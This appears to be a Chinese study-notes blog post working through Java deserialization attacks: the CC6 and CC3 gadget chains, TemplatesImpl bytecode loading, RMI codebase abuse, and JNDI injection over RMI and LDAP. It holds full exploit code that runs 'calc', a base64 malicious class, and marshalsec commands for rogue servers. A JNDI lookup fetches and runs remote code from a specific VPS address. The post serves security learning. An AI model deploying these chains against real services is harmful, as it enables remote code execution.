CC6、CC3、RMI简单入门、JNDI入门 (之后先去学一下fastjson反序列化
 
CC6 为了解决CC1在高版本jdk中不适用的局限,我们来审计一下没有版本限制的CC6
这次就先不跟着P神了!
ysoserial的Gadget chain
1 2 3 4 5 6 7 8 9 Gadget chain: 	    java.io.ObjectInputStream.readObject()             java.util.HashSet.readObject()                 java.util.HashMap.put()                 java.util.HashMap.hash()                     org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()                     org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()                         org.apache.commons.collections.map.LazyMap.get()                         ··· 
ysoserial poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 public  class  CommonsCollections6  extends  PayloadRunner  implements  ObjectPayload <Serializable >     public  Serializable getObject (final  String command)  throws  Exception          final  String[] execArgs = new  String[] { command };         final  Transformer[] transformers = new  Transformer[] {                 new  ConstantTransformer(Runtime.class),                 new  InvokerTransformer("getMethod" , new  Class[] {                         String.class, Class[].class }, new  Object[] {                         "getRuntime" , new  Class[0 ] }),                 new  InvokerTransformer("invoke" , new  Class[] {                         Object.class, Object[].class }, new  Object[] {                         null , new  Object[0 ] }),                 new  InvokerTransformer("exec" ,                         new  Class[] { String.class }, execArgs),                 new  ConstantTransformer(1 ) };         Transformer transformerChain = new  ChainedTransformer(transformers);         final  Map innerMap = new  HashMap();                  final  Map lazyMap = LazyMap.decorate(innerMap, transformerChain);                   TiedMapEntry entry = new  TiedMapEntry(lazyMap, "foo" );                           HashSet map = new  HashSet(1 );                   map.add("foo" );                   Field f = null ;         try  {             f = HashSet.class.getDeclaredField("map" );          } catch  (NoSuchFieldException e) {             f = HashSet.class.getDeclaredField("backingMap" );         }         Reflections.setAccessible(f);         HashMap innimpl = (HashMap) f.get(map);          Field f2 = null ;         try  {             f2 = HashMap.class.getDeclaredField("table" );          } catch  (NoSuchFieldException e) {             f2 = HashMap.class.getDeclaredField("elementData" );         }         Reflections.setAccessible(f2);         Object[] array = (Object[]) f2.get(innimpl);         Object node = array[0 ];         if (node == null ){              node = array[1 ];         }         Field keyField = null ;         try {             keyField = node.getClass().getDeclaredField("key" );         }catch (Exception e){             keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" );         }                  Reflections.setAccessible(keyField);         keyField.set(node, entry);                   return  map;     }     public  static  void  main (final  String[] args)  throws  Exception          PayloadRunner.run(CommonsCollections6.class, args);     } } 
利用到了新的类TiedMapEntry,那就先去浅浅了解一下
TiedMapEntry 1 2 3 4 5 6 public  TiedMapEntry (Map map, Object key)      this .map = map;      this .key = key; } 
1 2 3 public  Object getValue ()      return  this .map.get(this .key);  } 
1 2 3 4 public  int  hashCode ()      Object value = this .getValue();      return  (this .getKey() == null  ? 0  : this .getKey().hashCode()) ^ (value == null  ? 0  : value.hashCode()); } 
所以在TiedMapEntry上面的逻辑很明显,就是外面调用TiedMapEntry#hashCode=>TiedMapEntry#getValue=>LazyMap#get
HashSet 1 2 3 public  HashSet (int  initialCapacity)      map = new  HashMap<>(initialCapacity);  } 
1 2 3 public  boolean  add (E e)      return  map.put(e, PRESENT)==null ;  } 
然后可以发现的readObject中有(HashMap)map.put(e,PRESENT),所以我们可以将TiedMapEntry传进去,从而调用到了TiedMapEntry#hashCode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private  void  readObject (java.io.ObjectInputStream s)     throws  java.io.IOException, ClassNotFoundException  {         s.defaultReadObject();     ···     ···          for  (int  i=0 ; i<size; i++) {         @SuppressWarnings("unchecked")              E e = (E) s.readObject();         map.put(e, PRESENT);     } } 
P神のchain 和ysoserial相比,P神把HashSet删掉了,因为在HashMap的readObject中就会直接调用hash,所以当我们把TiedMapEntry当作key传入之后也就是会直接调用TiedMapEntry.hashCode(),直接完成了这条链子
直接编写这条链子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package  ysoserial.payloads;import  org.apache.commons.collections.Transformer;import  org.apache.commons.collections.functors.ChainedTransformer;import  org.apache.commons.collections.functors.ConstantTransformer;import  org.apache.commons.collections.functors.InvokerTransformer;import  org.apache.commons.collections.keyvalue.TiedMapEntry;import  org.apache.commons.collections.map.LazyMap;import  java.io.*;import  java.lang.reflect.Field;import  java.util.HashMap;import  java.util.Map;public  class  CC6ForP      public  static  void  main (String[] args)  throws  IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException          Transformer[] fakeTransformers = new  Transformer[]{             new  ConstantTransformer(1 )};         Transformer[] transformers = new  Transformer[] {             new  ConstantTransformer(Runtime.class),             new  InvokerTransformer("getMethod" ,                 new  Class[]{String.class,Class[].class},                 new  Object[]{"getRuntime" ,new  Class[0 ]}             ),             new  InvokerTransformer("invoke" ,new  Class[]{                 Object.class,Object[].class             },new  Object[]{null ,new  Object[0 ]}),             new  InvokerTransformer("exec" ,new  Class[]{String.class},new  String[]{"calc" }),             new  ConstantTransformer(1 ),         };         Transformer transformerChain = new  ChainedTransformer(fakeTransformers);         Map innerMap = new  HashMap();         Map outerMap = LazyMap.decorate(innerMap, transformerChain);          TiedMapEntry tiedMapEntry = new  TiedMapEntry(outerMap, "aa" );          Map expMap = new  HashMap();                   expMap.put(tiedMapEntry, "bb" );          outerMap.remove("aa" );                   Field field = ChainedTransformer.class.getDeclaredField("iTransformers" );         field.setAccessible(true );         field.set(transformerChain,transformers);                  ByteArrayOutputStream barr = new  ByteArrayOutputStream();         ObjectOutputStream oos = new  ObjectOutputStream(barr);         oos.writeObject(expMap);         oos.close();                  System.out.println(barr);         ObjectInputStream ois = new  ObjectInputStream(new          ByteArrayInputStream(barr.toByteArray()));         Object o = (Object)ois.readObject();     } } 
小结 总的来说CC6理解起来并不难,但是ysoserial有一部分代码的作用大概能理解,但是其中具体的逻辑还没有厘清
CC3 (<8u71
照样这次先自己学着看ysoserial的payload,不懂再看P神的讲解
 
利用TemplatesImpl加载字节码 在仔细分析链子之前,我们先来学一下TemplatesImpl类
字节码 首先学习一下字节码是什么
严格来说,java字节码其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中;总所周知,java是可以跨平台的,只要代码被编译成字节码文件(.class文件)就可以在java虚拟机中运行
ClassLoader#defineClass 
loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行 findClass  
findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass  
defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类 
 
注意一点,在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造 函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中(在本系列文章第一篇 中进行过说明),在 defineClass 时也无法被直接调用到。所以,如果我们要使用 defineClass 在目 标机器上执行任意代码,需要想办法调用构造函数。
 
TemplatesImpl 在利用TemplatesImpl构造攻击链的时候就会涉及到defineClass
定义了一个内部类,继承于ClassLoader,在这里还重写了defineClass,默认为default
1 2 3 4 5 6 7 8 9 10 11 12 static  final  class  TransletClassLoader  extends  ClassLoader      private  final  Map<String,Class> _loadedExternalExtensionFunctions;     ……          Class defineClass (final  byte [] b)   {         return  defineClass(null , b, 0 , b.length);     } } 
并且在·TemplatesImpl#defineTransletClasses会存在调用,而_bytecodes又是我们可控的,而defineTransletClasses域是public,所以是可以在外部进行调用的
1 2 3 4 5 6 7 8 9 10 11 12 for  (int  i = 0 ; i < classCount; i++) {    _class[i] = loader.defineClass(_bytecodes[i]);      final  Class superClass = _class[i].getSuperclass();          if  (superClass.getName().equals(ABSTRACT_TRANSLET)) {         _transletIndex = i;     }     else  {         _auxClasses.put(_class[i].getName(), _class[i]);     } } 
然后可以在TemplatesImpl#getTransletInstance发现对defineTransletClasses的调用,但是这个方法是private,再继续跟进调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private  Translet getTransletInstance ()     throws  TransformerConfigurationException  {    try  {         if  (_name == null ) return  null ;          if  (_class == null ) defineTransletClasses();                            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();         translet.postInitialization();         translet.setTemplates(this );         translet.setServicesMechnism(_useServicesMechanism);         translet.setAllowedProtocols(_accessExternalStylesheet);         if  (_auxClasses != null ) {             translet.setAuxiliaryClasses(_auxClasses);         }         return  translet;     }     …… } 
可以发现最开始调用的都是public
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public  synchronized  Transformer newTransformer ()     throws  TransformerConfigurationException     TransformerImpl transformer;     transformer = new  TransformerImpl(getTransletInstance(), _outputProperties,         _indentNumber, _tfactory);      …… } public  synchronized  Properties getOutputProperties ()      try  {        return  newTransformer().getOutputProperties();         }     catch  (TransformerConfigurationException e) {         return  null ;     } } 
调用链:
1 2 3 4 5 TemplatesImpl#getOutputProperties() 	TemplatesImpl#newTransformer() 		TemplatesImpl#getTransletInstance() 			TemplatesImpl#defineTransletClasses() 				TransletClassLoader#defineClass() 
例子:
另外,值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须 是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。
 
所以我们可以先写一个类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package  TpmlDemo;import  com.sun.org.apache.xalan.internal.xsltc.DOM;import  com.sun.org.apache.xalan.internal.xsltc.TransletException;import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import  com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import  com.sun.org.apache.xml.internal.serializer.SerializationHandler;public  class  HelloTpml  extends  AbstractTranslet      @Override      public  void  transform (DOM document, SerializationHandler[] handlers)  throws  TransletException      }     @Override      public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  throws  TransletException      }     public  HelloTpml ()  throws  Exception         super ();         Runtime.getRuntime().exec("calc" );     } } 
编译生成字节码文件,并将字节码传到前面我们向利用的defineClass中,再写一个调用的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import  java.lang.reflect.Field;import  java.util.Base64;public  class  Define      public  static  void  main (String[] args)  throws  Exception          byte [] code = Base64.getDecoder().decode("yv66vgAAADQAJAoABwAWCgAXABgIABkKABcAGgcAGwcAHAcAHQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAeAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHABwHABsBAApTb3VyY2VGaWxlAQALSGVsbG9ULmphdmEMAA8AEAcAHwwAIAAhAQAEY2FsYwwAIgAjAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEABkhlbGxvVAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAADAAEACAAJAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAMAAwAAAAEAAEADQABAAgADgACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQAMAAAABAABAA0AAQAPABAAAQAKAAAAWAACAAIAAAASKrcAAbgAAhIDtgAEV6cABEyxAAEABAANABAABQACAAsAAAAWAAUAAAAUAAQAFwANABsAEAAZABEAHAARAAAAEAAC/wAQAAEHABIAAQcAEwAAAQAUAAAAAgAV" );          TemplatesImpl obj = new  TemplatesImpl();         setFieldValue(obj, "_bytecodes" , new  byte [][] {code});         setFieldValue(obj, "_name" , "null" );          setFieldValue(obj, "_tfactory" , new  TransformerFactoryImpl());          obj.newTransformer();     }     private  static  void  setFieldValue (TemplatesImpl obj, String bytecodes, Object o)  throws  Exception          Field field = obj.getClass().getDeclaredField(bytecodes);          field.setAccessible(true );         field.set(obj,o);     } } 
Ysoserial 
基于CC1修改的CC3 主要是把InvokeTransformers换成了InstantiateTransformer
 
因为官方对于ysoserial出了过滤器,将InvokeTransformers放入了黑名单里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public  class  CommonsCollections3  extends  PayloadRunner  implements  ObjectPayload <Object >    public  Object getObject (final  String command)  throws  Exception        Object templatesImpl = Gadgets.createTemplatesImpl(command);              final  Transformer transformerChain = new  ChainedTransformer(          new  Transformer[]{ new  ConstantTransformer(1 ) });              final  Transformer[] transformers = new  Transformer[] {             new  ConstantTransformer(TrAXFilter.class),             new  InstantiateTransformer(                   new  Class[] { Templates.class },                   new  Object[] { templatesImpl } )};       final  Map innerMap = new  HashMap();       final  Map lazyMap = LazyMap.decorate(innerMap, transformerChain);       final  Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);       final  InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);       Reflections.setFieldValue(transformerChain, "iTransformers" , transformers);        return  handler;    }    public  static  void  main (final  String[] args)  throws  Exception        PayloadRunner.run(CommonsCollections3.class, args);    }    public  static  boolean  isApplicableJavaVersion ()           return  JavaVersion.isAnnInvHUniversalMethodImpl();     } } 
1 2 3 4 public  InstantiateTransformer (Class[] paramTypes, Object[] args)      this .iParamTypes = paramTypes;     this .iArgs = args; } 
根据链子,最后面调用的应该是transform,这里调用了某个类的构造方法,打断点调试的时候发现input的值是com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
1 2 3 4 5 6 7 8 9 10 11 public  Object transform (Object input)      try  {         if  (!(input instanceof  Class)) {             throw  new  FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a "  + (input == null  ? "null object"  : input.getClass().getName()));         } else  {             Constructor con = ((Class)input).getConstructor(this .iParamTypes);             return  con.newInstance(this .iArgs);          }     }     …… } 
TrAXFilter 他的构造方法实现了(TransformerImpl) templates.newTransformer(),就直接实现了先调用TemplatesImpl#newTransformer,从而完成整个链子,而字节码是在Gadgets#createTemplatesImpl中形成的
1 2 3 4 5 6 7 8 public  TrAXFilter (Templates templates)   throws     TransformerConfigurationException     _templates = templates;     _transformer = (TransformerImpl) templates.newTransformer();     _transformerHandler = new  TransformerHandlerImpl(_transformer);     _useServicesMechanism = _transformer.useServicesMechnism(); } 
RMI简单入门 RMI(Remote Method Invocation),远程方法调用,是Java独有的一种机制,允许运行在一个Java虚拟机的对象调用另一个Java虚拟机上对象的方法
基础 RMI和RPC类似,但RPC作为C语言的一个分支,主要关注数据结构,而RMI不仅使用数据结构,还会适用对象
在一个对象可以与RMI一起使用之前,这个对象必须是可序列化的(RMI的传输时基于反序列化的)。RMI的远程对象是通过引用传递的,而非远程对象是通过复制传递
对于任何一个以对象为参数的RMI接口,都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于服务端classpath中的可序列化类来反序列化恢复对象
三个主体: 
1.Client 客户端
2.Server 服务端
3.Registry 注册中心
RMI Server 分成三部分
一个继承java.rmi.Remote的接口,其中定义我们要远程调用的函数,并且每个方法必须要抛出java.rmi.RemoteException 
一个实现此接口的类,通常都会扩展java.rmi.UnicastRemoteObject 
一个主类,用来创建Registry,并将上面的类实例化之后绑定到一个地址 
 
 
存根和骨架 
用于远程对象的实现。
存根(stub)是想调用的方法的对象所代理的本地代码;
骨架(skeleton)从存根接收远程方法调用并将它们传递给对象
RMI Registry 
主要流程:
RMI Registry就像⼀个⽹关,他⾃⼰是不会执⾏远程⽅法的,但RMI Server可以在上⾯注册⼀个Name到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server;最后,远程⽅法实际上在RMI Server上调⽤。
 
例子:
首先创建一个扩展了Remote的接口,并声明一个我们需要调用的方法,记得抛出RemoteException
1 2 3 4 5 6 import  java.rmi.Remote;import  java.rmi.RemoteException;public  interface  RmiInterface  extends  Remote      public  String hello (String param)  throws  RemoteException } 
创建一个实现该接口的类,并且继承了UnicastRemoteObject,重写方法,并在这里建立Registry并向注册建立远程对象,将对象实例和Registry的hello绑定在一起
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import  java.rmi.RemoteException;import  java.rmi.registry.LocateRegistry;import  java.rmi.registry.Registry;import  java.rmi.server.UnicastRemoteObject;public  class  HelloHandler  extends  UnicastRemoteObject  implements  RmiInterface      private  String hello = "Hello: " ;     protected  HelloHandler ()  throws  RemoteException      }     @Override      public  String hello (String param)  throws  RemoteException          return  hello+param;     }     public  static  void  main (String[] args)  throws  Exception         Registry registry = LocateRegistry.createRegistry(1099 );         RmiInterface rmiInterface = new  HelloHandler();         registry.bind("hello" ,rmiInterface);                       } } 
客户端:通过LocateRegistry.getRegistry访问远程的registry对象,并通过lookup方法找到绑定了对象实例的skeleton,然后调用相应的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import  java.rmi.registry.LocateRegistry;import  java.rmi.registry.Registry;public  class  Client      public  static  void  main (String[] args)           try {             Registry registry = LocateRegistry.getRegistry("127.0.0.1" ,1099 );             RmiInterface rmiInterface = (RmiInterface) registry.lookup("hello" );             String name = "Ameuu" ;             System.out.println(rmiInterface.hello(name));         } catch  (Exception e) {             e.printStackTrace();         }     } } 
RMI安全 我们仅从客户端角度来看一下RMI:Registry并去寻找某个Name,从而找到其绑定的对象实例,然后去调用这个远程对象的某个方法
那么:
如果我们能访问RMI Registry服务,如何对其攻击?  
如果我们控制了目标RMI客户端中 Naming.lookup 的第一个参数(也就是RMI Registry的地 址),能不能进行攻击? 
 
 
攻击Registry Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebind、 bind、unbind等方法。
但是可以通过list获取目标上绑定的所有对象、通过lookup获取某个对象
BaRMIe 
codebase执行任意代码 codebase 是一个地址,在RMI流程中,客户端和服务端直接传递的是序列化的对象,在反序列化的时候会去找相应的类进行实例化,而如果在本地找不到的时候机会自动去codebase里面找,而相应的就产生了问题,如果codebase是我们可以利用的,那么有可能可以加载恶意类
条件:
安装并配置了SecurityManager 
Java版本低于7u21、6u45,或者设置了java.rmi.useCodebaseOnly=false,因为在java7u21、6u45的时候修改默认设置java.rmi.useCodebaseOnly=true,这使得java虚拟机只信任预先配置好的codebase,不再支持从RMI请求中获取 
 
 
例子(代码来自P神:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import  java.rmi.Remote;import  java.rmi.RemoteException;import  java.util.List;public  interface  ICalc  extends  Remote      public  Integer sum (List<Integer> params)  throws  RemoteException } import  java.rmi.Remote;import  java.rmi.RemoteException;import  java.util.List;import  java.rmi.server.UnicastRemoteObject;public  class  Calc  extends  UnicastRemoteObject  implements  ICalc      public  Calc ()  throws  RemoteException      public  Integer sum (List<Integer> params)  throws  RemoteException          Integer sum = 0 ;         for  (Integer param : params) {             sum += param;         }         return  sum;     } } import  java.rmi.Naming;import  java.rmi.Remote;import  java.rmi.RemoteException;import  java.rmi.registry.LocateRegistry;import  java.rmi.server.UnicastRemoteObject;import  java.util.List;public  class  RemoteRMIServer      private  void  start ()  throws  Exception          if  (System.getSecurityManager() == null ) {             System.out.println("setup SecurityManager" );             System.setSecurityManager(new  SecurityManager());         }         Calc h = new  Calc();         LocateRegistry.createRegistry(1099 );         Naming.rebind("refObj" , h);     }     public  static  void  main (String[] args)  throws  Exception          new  RemoteRMIServer().start();     } } grant {     permission java.security.AllPermission; }; 
编译并配置参数:
1 2 javac *.java java -D java.rmi.server.hostname=192.168.64.1 -D java.rmi.server.useCodebaseOnly=false -D java.security.policy=client.policy RemoteRMIServer 
其中java.rmi.server.hostname为服务器的IP地址,远程调用时需要根据这个值来访问RMI Server。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import  java.rmi.Naming;import  java.util.List;import  java.util.ArrayList;import  java.io.Serializable;public  class  RMIClient  implements  Serializable      public  class  Payload  extends  ArrayList <Integer >      public  void  lookup ()  throws  Exception          ICalc r = (ICalc)             Naming.lookup("rmi://192.168.135.142:1099/refObj" );         List<Integer> li = new  Payload();         li.add(3 );         li.add(4 );         System.out.println(r.sum(li));     }     public  static  void  main (String[] args)  throws  Exception          new  RMIClient().lookup();     } } 
运行:
1 2 java -D java.rmi.server.useCodebaseOnly=false - D java.rmi.server.codebase=http://example.com/RMIClient 
在最开始就报错了 所以复现就先搁置了 不过这个代码执行的方法条件比较苛刻 也不常用(大概
 
JNDI入门 JNDI(Java Naming and Directory Interface),是SUN公司提供的⼀种标准的Java命名系统接⼝ 。为开发⼈员提供了查找和访问各种命名和⽬录服务的通⽤、统⼀的接⼝,类似JDBC都是构建在抽象层上。 现在JNDI已经成为J2EE的标准之⼀,所有的J2EE容器都必须提供⼀个JNDI的服务。
通过返回Reference和调用lookup获得相应的数据源。
Naming Service 
命名服务,将名称与值相关联的实体,称为“绑定”。提供了一种使用“find”或“search”操作来根据名称查找对象的便捷方式,就比如上面学RMI的时候根据Name去获取对应的对象
Directory Service 
一种特殊的命名服务,允许存储了搜索“目录对象”
使用JNDI必须要有服务提供方
一些服务接口:
LDAP 轻量级目录访问协议 
CORBA 公共对象请求代理结构服务 
RMI 远程方法调用 
DNS 域名服务 
 
在JNDI注入中涉及最多的是LDAP、RMI
 
RMI 
工厂模式
会利用到codebase 
在java7u21、6u45、8u113 的时候修改默认设置java.rmi.useCodebaseOnly=true
环境:jdk8u112
 
Reference 存储类名,工厂名以及加载工厂的未知,都可以通过对应的get获取
1 2 3 4 5 public  Reference (String className, String factory, String factoryLocation)      this (className);     classFactory = factory;     classFactoryLocation = factoryLocation; } 
ReferenceWrapper RMI服务中实现了RemoteReference的类,单纯地获取Reference并返回Reference
1 2 3 4 5 6 7 8 public  ReferenceWrapper (Reference var1)  throws  NamingException, RemoteException         this .wrappee = var1;     }     public  Reference getReference ()  throws  RemoteException          return  this .wrappee;     } } 
Demo Exploit类(恶意类 要实现ObjectFactory接口
编译之后放在http://127.0.0.1:8000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import  javax.naming.Context;import  javax.naming.Name;import  javax.naming.spi.ObjectFactory;import  java.io.IOException;import  java.util.Hashtable;public  class  Exploit  implements  ObjectFactory      private  String cmd;     static  {         System.out.println("hello ameuu" );         try  {             Runtime.getRuntime().exec("calc" );         } catch  (IOException e) {             e.printStackTrace();         }     }     @Override      public  Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws  Exception          return  null ;     } } 
服务 Server 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import  com.sun.jndi.rmi.registry.ReferenceWrapper;import  javax.naming.Reference;import  java.rmi.registry.LocateRegistry;import  java.rmi.registry.Registry;public  class  JNDIServer      public  static  void  main (String[] args)  throws  Exception                  Registry registry = LocateRegistry.createRegistry(1099 );                  Reference reference = new  Reference("Exploit" ,"Exploit" ,"http://127.0.0.1:8000/" );         ReferenceWrapper referenceWrapper = new  ReferenceWrapper(reference);         registry.bind("Exploit" , referenceWrapper);     } } 
受害者 JNDI客户端 可以通过Properties设置环境变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package  JNDI.RMI;import  javax.naming.Context;import  javax.naming.InitialContext;import  javax.naming.NamingException;import  java.util.Properties;public  class  JNDIClient      public  static  void  main (String[] args)  throws  NamingException          Properties env = new  Properties();         env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory" );         env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099/" );         Context context = new  InitialContext(env);         context.lookup("Exploit" );     } } 
所以攻击流程应该是传入恶意的RMI URL给客户端,通过lookup连接到由我们控制的注册中心,获取到恶意的Reference,然后解析Reference获取相应的我们写入的恶意的Factory类从而实现rce
 
解析流程 调用栈:
1 2 3 4 5 6 7 8 9 getObjectFactoryFromReference:160, NamingManager getObjectInstance:319, NamingManager decodeObject:464, RegistryContext …… lookup:-1, RegistryImpl_Stub lookup:118, RegistryContext lookup:128, RegistryContext lookup:417, InitialContext main:15, JNDIClient 
在InitialContext中已经将我们设置的变量放到了对应的变量中
在InitialContext#lookup中会调用到defaultInitCtx#lookup,从而调用了RegistryContext#lookup,之后就是根据我们初始化的内容进入到注册中心通过RegistryImpl_Stub#lookup获取注册中心中Name所对应的对象,也就是referenceWrapper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public  Remote lookup (String var1)  throws  AccessException, NotBoundException, RemoteException     try  {         RemoteCall var2 = super .ref.newCall(this , operations, 2 , 4905912898345647071L );         try  {             ObjectOutput var3 = var2.getOutputStream();             var3.writeObject(var1);          } catch  (IOException var18) {             throw  new  MarshalException("error marshalling arguments" , var18);         }         super .ref.invoke(var2);         Remote var23;         try  {             ObjectInput var6 = var2.getInputStream();             var23 = (Remote)var6.readObject();          } catch  (IOException var15) {             throw  new  UnmarshalException("error unmarshalling return" , var15);         } catch  (ClassNotFoundException var16) {             throw  new  UnmarshalException("error unmarshalling return" , var16);         } finally  {             super .ref.done(var2);         }         return  var23;     } catch  (RuntimeException var19) {         throw  var19;     } catch  (RemoteException var20) {         throw  var20;     } catch  (NotBoundException var21) {         throw  var21;     } catch  (Exception var22) {         throw  new  UnexpectedException("undeclared checked exception" , var22);     } } 
之后通过RegistryContext#decodeObject
1 2 3 4 5 6 private  Object decodeObject (Remote var1, Name var2)  throws  NamingException     try  {         Object var3 = var1 instanceof  RemoteReference ? ((RemoteReference)var1).getReference() : var1;         return  NamingManager.getObjectInstance(var3, var2, this , this .environment);     } …… } 
然后在NamingManager#getObjectInstance中根据Reference获取Factory
这里codebase的值就成了我们传进去的带有恶意类的url
之后通过loadClass对类进行加载,运行了Exploit中的静态代码实现RCE
LDAP 
使用范围更广
需要:com.sun.jndi.ldap.object.trustURLCodebase 为 true , JDK 11.0.1 、 8u191 、 7u201 、 6u211 开始默认为 false 
 
攻击流程:
攻击者为易受攻击的JNDI lookup提供了一个绝对的 LDAP URL 
服务器连接到由攻击者控制的LDAP服务器,该服务器返回恶意JNDI  Reference 
服务器解码JNDI Reference 
服务器从攻击者控制的服务器获取Factory类 
服务器实例化Factory类,实现RCE 
 
 
用marshalsec开一个服务,将Exploit类编译之后放到vps上,然后用python在对应的目录下开启服务
1 python3 -m http.server --bind 0.0.0.0 8000  
1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://82.156.2.166:8888/#Exploit' 9000 
客户端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package  JNDI.RMI;import  com.sun.jndi.rmi.registry.RegistryContext;import  javax.naming.Context;import  javax.naming.InitialContext;import  javax.naming.NamingException;import  java.util.Properties;public  class  JNDIClient      public  static  void  main (String[] args)  throws  NamingException          Context context = new  InitialContext();     context.lookup("ldap://82.156.2.166:9000/Exploit" );     } } 
工具运用 可以利用工具搭建服务端
marshalsec marshalsec 
命令格式:
1 java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]] 
RMI:
1 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8888/#ExportObject 1099 
LDAP:
1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://127.0.0.1:8888/#Exploit' 9000 
……
小结 
 FaIth4444师傅的总结
 
Reference 代码审计星球 
少走弯路之marshalsec的编译(RMI必备工具) - 铺哩 - 博客园 (cnblogs.com) 
https://www.freebuf.com/articles/web/317622.html 
https://paper.seebug.org/1091/#jndildap 
https://blog.csdn.net/whatday/article/details/107942941